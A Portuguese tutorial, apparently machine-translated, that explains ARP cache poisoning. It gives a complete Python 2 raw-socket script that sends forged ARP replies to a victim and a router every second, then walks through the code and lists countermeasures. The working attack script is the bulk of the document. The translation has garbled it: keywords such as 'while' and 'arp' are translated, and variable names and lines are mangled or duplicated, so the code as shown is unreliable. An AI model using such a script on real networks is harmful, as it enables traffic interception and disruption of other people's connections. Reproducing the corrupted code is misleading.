✅ Ataque de envenenamento ARP com sockets raw em Python

Índice

Hoje vou te ensinar como implementar um ataque de envenenamento ARP (Envenenamento de cache ARP). Para isso vou usar sockets raw em python, o objetivo é ver como funciona esse tipo de sockets, que você aprenda como funciona esse ataque ou que possa fazer testes na sua rede (embora já existam ferramentas na rede para isso), não que você use para mal-intencionados finalidades.

ObservaçãoCom o scapy você pode implementar este trabalho de forma mais rápida e fácil, mas ao assistir este tutorial você poderá usar o conhecimento para usar a biblioteca e fazer você mesmo, se fizéssemos ao contrário, custaria mais caro. O método mostrado aqui funciona apenas em sistemas Linux.

Pequenos detalhes que você deve saber
ARPÉ o protocolo de resolução de endereço encontrado na camada de rede. Sua missão é encontrar o endereço MAC (endereço físico) que corresponde a um endereço IP específico (endereço de rede).
Caches ARPCada dispositivo possui uma pequena memória onde armazena as traduções MAC-IP, vamos aproveitar isso neste ataque. Esse cache existe porque evita a sobrecarga de solicitar a tradução toda vez que nos conectamos a outro dispositivo.

O Operação do protocolo ARP É simples, quando você envia um pacote para alguém, o cache do dispositivo vai ser checado, se houver essa tradução ele vai demorar para enviar o pacote, se não houver ARP ele vai mandar um pacote de broadcast (é especial, ele tem o endereço MAC de destino ff: ff: ff: ff: ff: ff), este pacote alcançará todos os dispositivos da rede e "perguntará" quem tem o endereço IP procurado, cada dispositivo ao ver o MAC especial lerá o pacote, e apenas aquele com o endereço O IP pesquisado responderá indicando o seu MAC, nesse momento ele será armazenado no cache, para não ter que perguntar novamente nos próximos minutos.

O Ataque de envenenamento ARP É utilizado para espiar os dados que passam por uma rede, ou também podemos utilizá-lo para que os dados não cheguem aos destinos a que se destinam. Este ataque consiste em enviar constantemente pacotes ARP para a rede indicando que nosso MAC corresponde ao IP da vítima e que nosso MAC está associado ao IP do roteador. Devemos enviar os pacotes constantemente porque é um protocolo dinâmico, então o cache está mudando, pode ser que a tradução seja apagada, seja atualizada com os dados reais, então para garantir que enviamos pacotes a cada momento, eles não são muito pesados, portanto, normalmente não sobrecarregam a rede.

ObservaçãoARP é um protocolo que só é usado em IPv4, portanto este ataque não é válido para IPv6, mas o ataque de envenenamento pode ser realizado aproveitando-se de outro protocolo, como o NDP, que é usado para descobrir "vizinhos" em uma rede .

Para iniciar nosso exemplo precisamos saber os endereços IP da vítima e do gateway do roteador, bem como seu MAC, você pode usar o nmap para descobrir os dispositivos ativos em sua rede, e o MAC pode ser obtido facilmente, por exemplo Queremos para envenenar o cache do endereço 192.168.66.2, que será minha vítima (uma máquina virtual), irei executar o seguinte no cmd ou terminal:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1

O -c e -n indicam que apenas um pacote deve ser enviado, cada sistema operacional tem um parâmetro diferente. Depois colocamos:

 harpa

Ele indicará o cache ARP, pois podemos ver as traduções que armazenamos (e tendo feito um ping anteriormente já temos a tradução com a vítima). Temos que fazer o mesmo com o gateway do roteador:

Em seguida, colocarei todos os dados de que precisamos para tê-los em mãos:

Vítima -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75

Roteador -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08

Meu PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Coloquei o código completo e explico abaixo, ele funciona para Python na versão 2.x, mas com pequenas mudanças você pode adaptá-lo para a versão 3.x:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + código eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") macVictouterIngouter + eth1 + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Envenenando caches… para parar CTRL + C") enquanto True: connection.send (arpRouter) connection.send (arpVictima ) time.sleep (1)

A primeira coisa que fazemos é importar as bibliotecas necessárias, que não precisam de mais explicações. Vamos continuar com as seguintes linhas:

 conexão = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))

A primeira linha cria um soquete, com as seguintes características:

PF_PACKET: Para enviar e receber pacotes em baixo nível.

SOCK_RAW: Para usar soquetes brutos.

socket.htons (0x0800): O 0x0800 irá definir o protocolo ETH_P_IP, a função ntohs converte o formato da rede em bytes no formato apropriado para o nosso computador (s significa curto, ou seja, 16 bits, se tivesse um l, seria 32 bits).

E o segundo vai se encarregar de colocar o soquete para "escutar":

ens33: é a interface de rede onde vamos trabalhar, a sua pode ser a eth0, se você usar um ifconfig verá (veja a imagem abaixo).

socket.htons (0x800): o mesmo que disse antes.

As linhas que vemos abaixo irão criar os cabeçalhos Ethernet, para isso estabelecemos os MACs, e o código (aquele que colocamos pertence ao protocolo ARP), se quiser saber mais sobre Ethernet clique aqui:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" code = "\ x08 \ x06" commonpackage = macSource + código eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage

A próxima parte do código monta os pacotes ARP, para consultar a estrutura você pode visitar o seguinte link e ir para a seção de estrutura do pacote. O código de operação \ x00 \ x02 é para indicar que é um pacote de resposta (se fosse 1, seria uma solicitação), e a função socket.inet_aton () converte um endereço IPv4 para o formato binário de 32 bits. Como você viu no código anterior e agora para criar um pacote, estamos concatenando suas partes.

 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + cabeçalho compartilhado + ipRouter + macVictima + ipVictima arpRouter = eth2 + cabeçalho compartilhado + ipVictima + macRouter + ipRouter

A última parte do código mostra uma mensagem para saber se está funcionando e entra em um loop infinito que enviará pacotes para envenenar os caches de nossa vítima e o gateway do roteador, isso faz isso a cada segundo desde que dormimos.

 print ("Envenenando caches … para parar CTRL + C") enquanto True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)

Vamos ver como fica a execução do programa (temos que executar como usuário root):

E se olharmos para o cache da vítima, podemos ver que seu endereço IP agora está associado ao MAC do invasor:

Contramedidas

Usar tabelas ARP estáticas, adicionamos as entradas manualmente e não as deixamos variar.

Consultar ARP reverso, esse protocolo retornará o endereço IP de um MAC, portanto, se ele retornar mais de um endereço IP, é provável que tenhamos sido enganados.

Essas medidas requerem um mínimo de conhecimento, por isso nem todos serão capazes de realizá-las, mas consultando nossa seção de perguntas ou tutoriais de Segurança de TI você certamente encontrará ajuda.

Caso você queira o código, aqui está um CEP:

Baixar código ArpPoisoning.zip 579 bytes 116 downloads